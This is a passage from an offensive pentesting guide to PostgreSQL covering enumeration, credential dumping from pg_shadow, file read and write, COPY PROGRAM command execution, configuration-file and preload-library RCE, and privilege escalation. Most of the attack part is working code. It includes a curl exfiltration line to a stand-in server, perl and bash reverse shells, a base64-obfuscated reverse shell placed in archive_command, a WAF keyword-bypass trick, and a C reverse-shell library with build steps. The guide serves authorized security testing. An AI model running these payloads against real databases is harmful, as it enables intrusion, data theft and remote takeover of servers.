pentesting-postgresql.md (52172B)
1 --- 2 title: "5432 - Pentesting PostgreSQL" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-postgresql.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-postgresql.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 5432 - Pentesting PostgreSQL 14 15 ## **Basic Information** 16 17 **PostgreSQL** is an open-source object-relational database system. It supports SQL plus extensible data types, functions, procedural languages, operators, and indexes. 18 19 **Default port:** 5432. PostgreSQL does **not** automatically move to 5433 when the configured port is occupied; the server normally fails to bind until the conflict or its `port` setting is changed. Multiple local clusters are often configured manually on consecutive ports such as 5432 and 5433.<sup>[[18]](#references)</sup> 20 21 ```text 22 PORT STATE SERVICE 23 5432/tcp open pgsql 24 ``` 25 26 ## Connect & Basic Enum 27 28 ```bash 29 psql -U <myuser> # Open psql console with user 30 psql -h <host> -U <username> -d <database> # Remote connection 31 psql -h <host> -p <port> -U <username> -W -d <database> # Force a password prompt 32 ``` 33 34 ```text 35 psql -h localhost -d <database_name> -U <User> #Password will be prompted 36 \list # List databases 37 \c <database> # use the database 38 \d # List tables 39 \du+ # Get users roles 40 41 # Get current user 42 SELECT user; 43 44 # Get current database 45 SELECT current_catalog; 46 47 # List schemas 48 SELECT schema_name,schema_owner FROM information_schema.schemata; 49 \dn+ 50 51 #List databases 52 SELECT datname FROM pg_database; 53 54 #Read credentials (usernames + pwd hash) 55 SELECT usename, passwd from pg_shadow; 56 57 # Get languages 58 SELECT lanname,lanacl FROM pg_language; 59 60 # Show installed extensions 61 SHOW rds.extensions; -- AWS RDS only 62 SELECT * FROM pg_extension; 63 64 # Get history of commands executed 65 \s 66 ``` 67 68 > [!WARNING] 69 > Finding an **`rdsadmin`** database with `\list` is a strong indicator of an **Amazon RDS for PostgreSQL** instance. 70 71 For SQL-injection-specific techniques, see [PostgreSQL injection](/hacktricks/pentesting-web/sql-injection/postgresql-injection/overview). 72 73 ## Automatic Enumeration 74 75 ```text 76 msf> use auxiliary/scanner/postgres/postgres_version 77 msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection 78 ``` 79 80 ### [**Brute force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#postgresql) 81 82 ### **Port scanning** 83 84 According to [**this research**](https://www.exploit-db.com/papers/13084), when a connection attempt fails, `dblink` throws an `sqlclient_unable_to_establish_sqlconnection` exception including an explanation of the error. Examples of these details are listed below.<sup>[[1]](#references)</sup> 85 86 ```sql 87 SELECT * FROM dblink_connect('host=1.2.3.4 88 port=5678 89 user=name 90 password=secret 91 dbname=abc 92 connect_timeout=10'); 93 ``` 94 95 - Host is down 96 97 `DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?` 98 99 - Port is closed 100 101 ```text 102 DETAIL: could not connect to server: Connection refused Is the server 103 running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? 104 ``` 105 106 - Port is open 107 108 ```text 109 DETAIL: server closed the connection unexpectedly This probably means 110 the server terminated abnormally before or while processing the request 111 ``` 112 113 or 114 115 ```text 116 DETAIL: FATAL: password authentication failed for user "name" 117 ``` 118 119 - Port is open or filtered 120 121 ```text 122 DETAIL: could not connect to server: Connection timed out Is the server 123 running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? 124 ``` 125 126 In PL/pgSQL functions, it is currently not possible to obtain exception details. However, if you have direct access to the PostgreSQL server, you can retrieve the necessary information. If extracting usernames and passwords from the system tables is not feasible, you may consider utilizing the wordlist attack method discussed in the preceding section, as it could potentially yield positive results. 127 128 ## Enumeration of Privileges 129 130 ### Roles 131 132 | Role Types | | 133 | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | 134 | rolsuper | Role has superuser privileges | 135 | rolinherit | Role automatically inherits privileges of roles it is a member of | 136 | rolcreaterole | Role can create more roles | 137 | rolcreatedb | Role can create databases | 138 | rolcanlogin | Role can log in. That is, this role can be given as the initial session authorization identifier | 139 | rolreplication | Role is a replication role. A replication role can initiate replication connections and create and drop replication slots. | 140 | rolconnlimit | For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit. | 141 | rolpassword | Not the password (always reads as `********`) | 142 | rolvaliduntil | Password expiry time (only used for password authentication); null if no expiration | 143 | rolbypassrls | Role bypasses every row-level security policy, see [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) for more information. | 144 | rolconfig | Role-specific defaults for run-time configuration variables | 145 | oid | ID of role | 146 147 #### Interesting Groups 148 149 - If you are a member of **`pg_execute_server_program`** you can **execute** programs 150 - If you are a member of **`pg_read_server_files`** you can **read** files 151 - If you are a member of **`pg_write_server_files`** you can **write** files 152 153 > [!TIP] 154 > Note that in Postgres a **user**, a **group** and a **role** is the **same**. It just depend on **how you use it** and if you **allow it to login**. 155 156 ```sql 157 # Get users roles 158 \du 159 160 #Get users roles & groups 161 # r.rolpassword 162 # r.rolconfig, 163 SELECT 164 r.rolname, 165 r.rolsuper, 166 r.rolinherit, 167 r.rolcreaterole, 168 r.rolcreatedb, 169 r.rolcanlogin, 170 r.rolbypassrls, 171 r.rolconnlimit, 172 r.rolvaliduntil, 173 r.oid, 174 ARRAY(SELECT b.rolname 175 FROM pg_catalog.pg_auth_members m 176 JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) 177 WHERE m.member = r.oid) as memberof 178 , r.rolreplication 179 FROM pg_catalog.pg_roles r 180 ORDER BY 1; 181 182 # Check whether the current user is a superuser 183 ## If response is "on" then true, if "off" then false 184 SELECT current_setting('is_superuser'); 185 186 # Try to grant access to groups 187 ## This requires administrative authority over the role; exact CREATEROLE behavior is version-dependent (see below) 188 GRANT pg_execute_server_program TO "username"; 189 GRANT pg_read_server_files TO "username"; 190 GRANT pg_write_server_files TO "username"; 191 ## You will probably get this error: 192 ## Cannot GRANT on the "pg_write_server_files" role without being a member of the role. 193 194 # Create new role (user) as member of a role (group) 195 CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files; 196 ## Common error 197 ## Cannot GRANT on the "pg_read_server_files" role without being a member of the role. 198 ``` 199 200 ### Tables 201 202 ```sql 203 # Get owners of tables 204 select schemaname,tablename,tableowner from pg_tables; 205 ## Get tables where user is owner 206 select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres'; 207 208 # Get your permissions over tables 209 SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants; 210 211 #Check users privileges over a table (pg_shadow on this example) 212 ## If nothing, you don't have any permission 213 SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow'; 214 ``` 215 216 ### Functions 217 218 ```sql 219 # Interesting functions are inside pg_catalog 220 \df * #Get all 221 \df *pg_ls* #Get by substring 222 \df+ pg_read_binary_file #Check who has access 223 224 # Get all functions of a schema 225 \df pg_catalog.* 226 227 # Get all functions of a schema (pg_catalog in this case) 228 SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position 229 FROM information_schema.routines 230 LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name 231 WHERE routines.specific_schema='pg_catalog' 232 ORDER BY routines.routine_name, parameters.ordinal_position; 233 234 # Another option 235 SELECT * FROM pg_proc; 236 ``` 237 238 ## File-system actions 239 240 ### Read directories and files 241 242 From this [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the defined **`DEFAULT_ROLE_READ_SERVER_FILES`** group (called **`pg_read_server_files`**) and **super users** can use the **`COPY`** method on any path (check out `convert_and_check_filename` in `genfile.c`): 243 244 ```sql 245 # Read file 246 CREATE TABLE demo(t text); 247 COPY demo from '/etc/passwd'; 248 SELECT * FROM demo; 249 ``` 250 251 > [!WARNING] 252 > On PostgreSQL 15 and earlier, a role with **`CREATEROLE`** could grant itself membership in these non-superuser predefined roles. PostgreSQL 16 restricted this behavior: membership changes require the applicable **`ADMIN OPTION`** (or superuser authority). Test the target version and effective grant options before relying on this path.<sup>[[19]](#references)</sup> 253 > 254 > ```sql 255 > GRANT pg_read_server_files TO username; 256 > ``` 257 > 258 > [**More info.**](/hacktricks/network-services-pentesting/pentesting-postgresql#privilege-escalation-with-createrole) 259 260 There are **other postgres functions** that can be used to **read file or list a directory**. Only **superusers** and **users with explicit permissions** can use them: 261 262 ```sql 263 # Before executing these functions, connect to the postgres DB (not template1) 264 \c postgres 265 ## If you don't do this, you might get "permission denied" error even if you have permission 266 267 select * from pg_ls_dir('/tmp'); 268 select * from pg_read_file('/etc/passwd', 0, 1000000); 269 select * from pg_read_binary_file('/etc/passwd'); 270 271 # Check who has permissions 272 \df+ pg_ls_dir 273 \df+ pg_read_file 274 \df+ pg_read_binary_file 275 276 # Try to grant permissions 277 GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username; 278 # By default you can only access files in the data directory 279 SHOW data_directory; 280 # But if you are a member of the group pg_read_server_files 281 # You can access any file, anywhere 282 GRANT pg_read_server_files TO username; 283 # Check CREATEROLE privilege escalation 284 ``` 285 286 You can find **more functions** in [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html) 287 288 ### Simple File Writing 289 290 Only **super users** and members of **`pg_write_server_files`** can use copy to write files. 291 292 ```sql 293 copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec'; 294 ``` 295 296 > [!WARNING] 297 > On PostgreSQL 15 and earlier, `CREATEROLE` could make this grant possible for non-superuser predefined roles. PostgreSQL 16 and later require the relevant `ADMIN OPTION` or superuser authority.<sup>[[19]](#references)</sup> 298 > 299 > ```sql 300 > GRANT pg_write_server_files TO username; 301 > ``` 302 > 303 > [**More info.**](/hacktricks/network-services-pentesting/pentesting-postgresql#privilege-escalation-with-createrole) 304 305 Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\ 306 A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.** 307 308 ### **Binary files upload** 309 310 For binary-safe alternatives, see [uploading large binary files through PostgreSQL](/hacktricks/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql). 311 312 313 ### Updating PostgreSQL table data via local file write 314 315 If you have the necessary permissions to read and write PostgreSQL server files, you can update any table on the server by **overwriting the associated file node** in [the PostgreSQL data directory](https://www.postgresql.org/docs/8.1/storage.html). **More on this technique** [**here**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).<sup>[[2]](#references)</sup> 316 317 Required steps: 318 319 1. Obtain the PostgreSQL data directory 320 321 ```sql 322 SELECT setting FROM pg_settings WHERE name = 'data_directory'; 323 ``` 324 325 **Note:** If you cannot retrieve the current data-directory setting, query the major version with `SELECT version()` and test platform-specific package layouts. A common Debian/Ubuntu path is `/var/lib/postgresql/MAJOR_VERSION/CLUSTER_NAME/`, often with cluster name `main`. 326 327 2. Obtain a relative path to the filenode, associated with the target table 328 329 ```sql 330 SELECT pg_relation_filepath('{TABLE_NAME}') 331 ``` 332 333 This query should return something like `base/3/1337`. The full path on disk will be `$DATA_DIRECTORY/base/3/1337`, i.e. `/var/lib/postgresql/13/main/base/3/1337`. 334 335 3. Download the filenode through the `lo_*` functions 336 337 ```sql 338 SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) 339 ``` 340 341 4. Get the datatype, associated with the target table 342 343 ```sql 344 SELECT 345 STRING_AGG( 346 CONCAT_WS( 347 ',', 348 attname, 349 typname, 350 attlen, 351 attalign 352 ), 353 ';' 354 ) 355 FROM pg_attribute 356 JOIN pg_type 357 ON pg_attribute.atttypid = pg_type.oid 358 JOIN pg_class 359 ON pg_attribute.attrelid = pg_class.oid 360 WHERE pg_class.relname = '{TABLE_NAME}'; 361 ``` 362 363 5. Use the [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) to [edit the filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); set all `rol*` boolean flags to 1 for full permissions. 364 365 ```bash 366 python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} 367 ``` 368 369  370 371 6. Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk 372 373 ```sql 374 SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) 375 SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') 376 ``` 377 378 7. _(Optionally)_ Clear the in-memory table cache by running an expensive SQL query 379 380 ```sql 381 SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) 382 ``` 383 384 8. You should now see updated table values in the PostgreSQL. 385 386 You can also become a superuser by editing the `pg_authid` table. See [the corresponding privilege-escalation section](/hacktricks/network-services-pentesting/pentesting-postgresql#privilege-escalation-by-overwriting-internal-postgresql-tables). 387 388 ## RCE 389 390 ### **RCE to program** 391 392 `COPY ... PROGRAM` has existed since PostgreSQL 9.3. It executes an operating-system command as the database service account and is restricted to superusers or roles granted `pg_execute_server_program`. An SQL-injection exfiltration example is:<sup>[[15]](#references)</sup> 393 394 ```sql 395 '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - 396 ``` 397 398 Example to exec: 399 400 ```bash 401 #PoC 402 DROP TABLE IF EXISTS cmd_exec; 403 CREATE TABLE cmd_exec(cmd_output text); 404 COPY cmd_exec FROM PROGRAM 'id'; 405 SELECT * FROM cmd_exec; 406 DROP TABLE IF EXISTS cmd_exec; 407 408 #Reverse shell 409 # To escape a single quote in the SQL literal, double it 410 COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; 411 ``` 412 413 > [!WARNING] 414 > This self-grant path applies directly to PostgreSQL 15 and earlier. On PostgreSQL 16 and later, the session also needs `ADMIN OPTION` on `pg_execute_server_program` (or superuser authority).<sup>[[19]](#references)</sup> 415 > 416 > ```sql 417 > GRANT pg_execute_server_program TO username; 418 > ``` 419 > 420 > [**More info.**](/hacktricks/network-services-pentesting/pentesting-postgresql#privilege-escalation-with-createrole) 421 422 Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\ 423 More information about the technique is available in the linked research. Although it was submitted as CVE-2019-9193, the PostgreSQL project clarified that authorized `COPY ... PROGRAM` execution is an intended feature rather than a vulnerability.<sup>[[3]](#references)[[15]](#references)</sup> 424 425 #### Bypass keyword filters/WAF to reach COPY PROGRAM 426 427 In SQLi contexts with stacked queries, a WAF may remove or block the literal keyword `COPY`. You can dynamically construct the statement and execute it inside a PL/pgSQL DO block. For example, build the leading C with `CHR(67)` to bypass naive filters and EXECUTE the assembled command: 428 429 ```sql 430 DO $$ 431 DECLARE cmd text; 432 BEGIN 433 cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'''; 434 EXECUTE cmd; 435 END $$; 436 ``` 437 438 This pattern avoids static keyword filtering and still achieves OS command execution via `COPY ... PROGRAM`. It is especially useful when the application echoes SQL errors and allows stacked queries.<sup>[[4]](#references)[[5]](#references)</sup> 439 440 ### RCE with PostgreSQL languages 441 442 See [RCE with PostgreSQL procedural languages](/hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages). 443 444 ### RCE with PostgreSQL extensions 445 446 After obtaining a binary-safe upload primitive, you can test code execution by loading a compatible PostgreSQL extension. See [RCE with PostgreSQL extensions](/hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions). 447 448 ### PostgreSQL configuration file RCE 449 450 > [!TIP] 451 > The following RCE vectors are especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements 452 453 These techniques require a PostgreSQL configuration file that the database service account can overwrite. That is common in some source/container layouts, but packaged systems may keep the main file root-owned; database superuser status alone does not bypass operating-system permissions. 454 455  456 457 #### **RCE with ssl_passphrase_command** 458 459 More information [about this technique here](https://pulsesecurity.co.nz/articles/postgres-sqli).<sup>[[6]](#references)</sup> 460 461 The configuration file has several settings that can lead to command execution when their prerequisites are met: 462 463 - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database 464 - `ssl_passphrase_command = ''` specifies a command used to obtain the passphrase for an encrypted private key. 465 - `ssl_passphrase_command_supports_reload = off` controls whether that command may run during a configuration reload when a passphrase is needed. 466 467 Then, an attacker will need to: 468 469 1. **Dump private key** from the server 470 2. **Encrypt** downloaded private key: 471 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 472 3. **Overwrite** 473 4. **Dump** the current postgresql **configuration** 474 5. **Overwrite** the **configuration** with the mentioned attributes configuration: 475 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 476 2. `ssl_passphrase_command_supports_reload = on` 477 6. Execute `pg_reload_conf()` 478 479 While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** (so the postgres user can read it), and is placed in _/var/lib/postgresql/12/main_. 480 481 #### **RCE with archive_command** 482 483 **More** [**information about this config and about WAL here**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**<sup>[[7]](#references)</sup> 484 485 Another attribute in the configuration file that is exploitable is `archive_command`. 486 487 For this to work, the `archive_mode` setting has to be `'on'` or `'always'`. If that is true, then we could overwrite the command in `archive_command` and force it to execute via the WAL (write-ahead logging) operations. 488 489 The general steps are: 490 491 1. Check whether archive mode is enabled: `SELECT current_setting('archive_mode')` 492 2. Overwrite `archive_command` with the payload. For eg, a reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 493 3. Reload the config: `SELECT pg_reload_conf()` 494 4. Force the WAL operation to run, which will call the archive command: `SELECT pg_switch_wal()` or `SELECT pg_switch_xlog()` for some Postgres versions 495 496 ##### Editing postgresql.conf via Large Objects (SQLi-friendly) 497 498 When multi-line writes are needed (e.g., to set multiple GUCs), use PostgreSQL Large Objects to read and overwrite the config entirely from SQL. This approach is ideal in SQLi contexts where `COPY` cannot handle newlines or binary-safe writes. 499 500 Example (adjust the major version and path if needed, e.g. version 15 on Debian): 501 502 ```sql 503 -- 1) Import the current configuration and note the returned OID (example OID: 114575) 504 SELECT lo_import('/etc/postgresql/15/main/postgresql.conf'); 505 506 -- 2) Read it back as text to verify 507 SELECT encode(lo_get(114575), 'escape'); 508 509 -- 3) Prepare a minimal config snippet locally that forces execution via WAL 510 -- and base64-encode its contents, for example: 511 -- archive_mode = 'always'\n 512 -- archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n 513 -- archive_timeout = 1\n 514 -- Then write the new contents into a new Large Object and export it over the original file 515 SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64')); 516 SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf'); 517 518 -- 4) Reload the configuration and optionally trigger a WAL switch 519 SELECT pg_reload_conf(); 520 -- Optional explicit trigger if needed 521 SELECT pg_switch_wal(); -- or pg_switch_xlog() on older versions 522 ``` 523 524 This yields reliable OS command execution via `archive_command` as the `postgres` user, provided `archive_mode` is enabled. In practice, setting a low `archive_timeout` can cause rapid invocation without requiring an explicit WAL switch.<sup>[[4]](#references)</sup> 525 526 #### **RCE with preload libraries** 527 528 More information [about this technique here](https://adeadfed.com/posts/postgresql-select-only-rce/).<sup>[[8]](#references)</sup> 529 530 This attack vector takes advantage of the following configuration variables: 531 532 - `session_preload_libraries` -- libraries that will be loaded by the PostgreSQL server at the client connection. 533 - `dynamic_library_path` -- list of directories where the PostgreSQL server will search for the libraries. 534 535 We can set the `dynamic_library_path` value to a directory, writable by the `postgres` user running the database, e.g., `/tmp/` directory, and upload a malicious `.so` object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the `session_preload_libraries` variable. 536 537 The attack steps are: 538 539 1. Download the original `postgresql.conf` 540 2. Include the `/tmp/` directory in the `dynamic_library_path` value, e.g. `dynamic_library_path = '/tmp:$libdir'` 541 3. Include the malicious library name in the `session_preload_libraries` value, e.g. `session_preload_libraries = 'payload.so'` 542 4. Check major PostgreSQL version via the `SELECT version()` query 543 5. Compile the malicious library code with the correct PostgreSQL dev package Sample code: 544 545 ```c 546 #include <stdio.h> 547 #include <sys/socket.h> 548 #include <sys/types.h> 549 #include <stdlib.h> 550 #include <unistd.h> 551 #include <netinet/in.h> 552 #include <arpa/inet.h> 553 #include "postgres.h" 554 #include "fmgr.h" 555 556 #ifdef PG_MODULE_MAGIC 557 PG_MODULE_MAGIC; 558 #endif 559 560 void _init() { 561 /* 562 code taken from https://www.revshells.com/ 563 */ 564 565 int port = REVSHELL_PORT; 566 struct sockaddr_in revsockaddr; 567 568 int sockt = socket(AF_INET, SOCK_STREAM, 0); 569 revsockaddr.sin_family = AF_INET; 570 revsockaddr.sin_port = htons(port); 571 revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP"); 572 573 connect(sockt, (struct sockaddr *) &revsockaddr, 574 sizeof(revsockaddr)); 575 dup2(sockt, 0); 576 dup2(sockt, 1); 577 dup2(sockt, 2); 578 579 char * const argv[] = {"/bin/bash", NULL}; 580 execve("/bin/bash", argv, NULL); 581 } 582 ``` 583 584 Compiling the code: 585 586 ```bash 587 gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c 588 ``` 589 590 6. Upload the malicious `postgresql.conf`, created in steps 2-3, and overwrite the original one 591 7. Upload the `payload.so` from step 5 to the `/tmp` directory 592 8. Reload the server configuration by restarting the server or invoking the `SELECT pg_reload_conf()` query 593 9. At the next DB connection, you will receive the reverse shell connection. 594 595 ## PostgreSQL privilege escalation 596 597 ### Privilege escalation with CREATEROLE 598 599 #### **Grant** 600 601 On PostgreSQL 15 and earlier, roles with **`CREATEROLE`** could grant or revoke membership in any non-superuser role. PostgreSQL 16 tightened role administration: changing membership now requires `ADMIN OPTION` on the target role, and altering sensitive attributes requires corresponding authority.<sup>[[16]](#references)[[19]](#references)</sup> 602 603 Therefore, on a vulnerable older server—or on a newer server where the account also has the needed grant option—you may be able to grant yourself predefined roles that read/write server files or execute programs: 604 605 ```sql 606 # Access to execute commands 607 GRANT pg_execute_server_program TO username; 608 # Access to read files 609 GRANT pg_read_server_files TO username; 610 # Access to write files 611 GRANT pg_write_server_files TO username; 612 ``` 613 614 #### Modify Password 615 616 On PostgreSQL 15 and earlier, `CREATEROLE` can also change passwords of other non-superusers. On PostgreSQL 16 and later, this requires administrative authority over the target role.<sup>[[19]](#references)</sup> 617 618 ```sql 619 #Change password 620 ALTER USER user_name WITH PASSWORD 'new_password'; 621 ``` 622 623 #### Escalation to SUPERUSER 624 625 If `pg_hba.conf` trusts a local connection for a database superuser, command execution as the PostgreSQL OS account can invoke `psql` through that trusted path and grant your database role **`SUPERUSER`**: 626 627 ```sql 628 COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"'; 629 ``` 630 631 > [!TIP] 632 > This is usually possible because of the following lines in the **`pg_hba.conf`** file: 633 > 634 > ```bash 635 > # "local" is for Unix domain socket connections only 636 > local all all trust 637 > # IPv4 local connections: 638 > host all all 127.0.0.1/32 trust 639 > # IPv6 local connections: 640 > host all all ::1/128 trust 641 > ``` 642 643 ### ALTER TABLE privilege escalation 644 645 [This write-up](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) explains how an excessive `ALTER TABLE` privilege granted to a non-superuser PostgreSQL role in Google Cloud SQL could be abused to escalate privileges.<sup>[[9]](#references)</sup> 646 647 When you try to **make another user owner of a table** you should get an **error** preventing it, but apparently GCP gave that **option to the not-superuser postgres user** in GCP: 648 649 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28537%29.png" alt=""><figcaption></figcaption></figure> 650 651 Joining this idea with the fact that when the **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) commands are executed on a **table with an index function**, the **function** is **called** as part of the command with the **table** **owner’s permissions**. It's possible to create an index with a function and give owner permissions to a **super user** over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner. 652 653 ```c 654 GetUserIdAndSecContext(&save_userid, &save_sec_context); 655 SetUserIdAndSecContext(onerel->rd_rel->relowner, 656 save_sec_context | SECURITY_RESTRICTED_OPERATION); 657 ``` 658 659 #### Exploitation 660 661 1. Start by creating a new table. 662 2. Insert some irrelevant content into the table to provide data for the index function. 663 3. Develop a malicious index function that contains a code execution payload, allowing for unauthorized commands to be executed. 664 4. ALTER the table's owner to "cloudsqladmin," which is GCP's superuser role exclusively used by Cloud SQL to manage and maintain the database. 665 5. Perform an ANALYZE operation on the table. This action compels the PostgreSQL engine to switch to the user context of the table's owner, "cloudsqladmin." Consequently, the malicious index function is called with the permissions of "cloudsqladmin," thereby enabling the execution of the previously unauthorized shell command. 666 667 In PostgreSQL, this flow looks something like this: 668 669 ```sql 670 CREATE TABLE temp_table (data text); 671 CREATE TABLE shell_commands_results (data text); 672 673 INSERT INTO temp_table VALUES ('dummy content'); 674 675 /* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */ 676 CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text 677 LANGUAGE sql IMMUTABLE AS 'select ''nothing'';'; 678 679 CREATE INDEX index_malicious ON public.temp_table (suid_function(data)); 680 681 ALTER TABLE temp_table OWNER TO cloudsqladmin; 682 683 /* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */ 684 CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text 685 LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';'; 686 687 ANALYZE public.temp_table; 688 ``` 689 690 Then, the `shell_commands_results` table will contain the output of the executed code: 691 692 ```text 693 uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) 694 ``` 695 696 ### Local Login 697 698 Some misconfigured PostgreSQL instances allow privileged local connections that are unavailable remotely. With valid credentials—or an applicable local trust rule—the **`dblink`** extension can make a new loopback connection and execute queries as that role: 699 700 ```sql 701 \du * # Get Users 702 \l # Get databases 703 SELECT * FROM dblink('host=127.0.0.1 704 port=5432 705 user=someuser 706 password=supersecret 707 dbname=somedb', 708 'SELECT usename,passwd from pg_shadow') 709 RETURNS (result TEXT); 710 ``` 711 712 > [!WARNING] 713 > Note that for the previous query to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with 714 > 715 > ```sql 716 > CREATE EXTENSION dblink; 717 > ``` 718 719 If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user: 720 721 ```sql 722 SELECT * FROM dblink('host=127.0.0.1 723 user=someuser 724 dbname=somedb', 725 'SELECT usename,passwd from pg_shadow') 726 RETURNS (result TEXT); 727 ``` 728 729 It's possible to check if this function exists with: 730 731 ```sql 732 SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; 733 ``` 734 735 ### **Custom defined function with** SECURITY DEFINER 736 737 [This write-up](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql) describes how pentesters escalated privileges inside an IBM-managed PostgreSQL instance after finding a function declared with **`SECURITY DEFINER`**:<sup>[[10]](#references)</sup> 738 739 <pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text) 740 RETURNS text 741 LANGUAGE 'plpgsql' 742 <strong> VOLATILE SECURITY DEFINER 743 </strong> PARALLEL UNSAFE 744 COST 100 745 746 AS $BODY$ 747 DECLARE 748 persist_dblink_extension boolean; 749 BEGIN 750 persist_dblink_extension := create_dblink_extension(); 751 PERFORM dblink_connect(format('dbname=%s', db_name)); 752 PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s', 753 subscription_name, host_ip, portNum, password, username, db_name, publisher_name)); 754 PERFORM dblink_disconnect(); 755 … 756 </code></pre> 757 758 As [**explained in the docs**](https://www.postgresql.org/docs/current/sql-createfunction.html) a function with **SECURITY DEFINER is executed** with the privileges of the **user that owns it**. Therefore, if the function is **vulnerable to SQL Injection** or is doing some **privileged actions with params controlled by the attacker**, it could be abused to **escalate privileges inside postgres**.<sup>[[17]](#references)</sup> 759 760 